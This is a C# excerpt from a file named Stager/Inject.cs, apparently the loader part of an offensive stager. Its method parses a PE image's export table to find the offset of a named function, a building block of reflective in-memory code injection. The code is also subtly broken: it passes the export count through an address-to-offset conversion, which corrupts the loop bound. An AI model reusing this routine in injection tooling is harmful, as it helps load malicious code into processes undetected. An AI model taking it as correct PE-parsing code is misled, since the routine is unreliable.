Method GetExecutableFunction

Stager/Inject.cs:63–86

(byte[] image, string functionName)

		}
	}
	private static int GetExecutableFunction(byte[] image, string functionName)
	{
		int ntHeaders = BitConverter.ToInt32(image, 0x3c);
		int exportDirectory = RvaToOffset(image, BitConverter.ToInt32(image, ntHeaders + 0x18 + (IsExecutable64Bit(image) ? 0x70 : 0x60)));
		int numberOfNames = RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x18));
		int nameDirectory = RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x20));
		int nameOrdinalDirectory = RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x24));

		for (int i = 0; i < numberOfNames; i++)
		{
			int nameOffset = RvaToOffset(image, BitConverter.ToInt32(image, nameDirectory));
			string name = new string(image.Skip(nameOffset).Take(functionName.Length + 10).Select(b => (char)b).ToArray());

			if (name.Contains(functionName))
			{
				return RvaToOffset(image, BitConverter.ToInt32(image, RvaToOffset(image, BitConverter.ToInt32(image, exportDirectory + 0x1c)) + BitConverter.ToInt16(image, nameOrdinalDirectory) * 4));
			}

			nameDirectory += 4;
			nameOrdinalDirectory += 2;
		}

		return 0;
	}
	private static int RvaToOffset(byte[] image, int rva)
	{
		int ntHeaders = BitConverter.ToInt32(image, 0x3c);